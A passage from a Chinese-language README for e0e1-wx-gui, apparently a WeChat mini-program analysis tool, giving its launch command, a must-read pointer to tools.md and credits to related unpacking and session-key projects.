  32. python main.py
  33. ```
  34. 启动后会打开 `e0e1-wx-gui` 图形界面。
  35. ## 使用前必读
  36. 首次使用请先阅读 [tools.md](./tools.md),其中包含: (一定要阅读!!!!!!!!!!!!!!!!)
  37. - 微信小程序运行环境版本的确认方法
  38. - 缺失配置文件时的补充方式
  39. - 应用内目录配置说明
  40. - 抓包/代理转发导致无法回连时的处理方法
  41. - 各个核心功能的操作示例
  42. ## 致谢
  43. 感谢以下开源项目提供的思路和能力支持:
  44. - [r3x5ur/unveilr](https://github.com/r3x5ur/unveilr)
  45. - [Ackites/KillWxapkg](https://github.com/Ackites/KillWxapkg)
  46. - [x0tools/WeChatOpenDevTools](https://github.com/x0tools/WeChatOpenDevTools)
  47. - [mrknow001/wx_sessionkey_decrypt](https://github.com/mrknow001/wx_sessionkey_decrypt)
  48. - [JaveleyQAQ/WeChatOpenDevTools-Python](https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python)
  49. - [Spade-sec/First](https://github.com/Spade-sec/First)

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.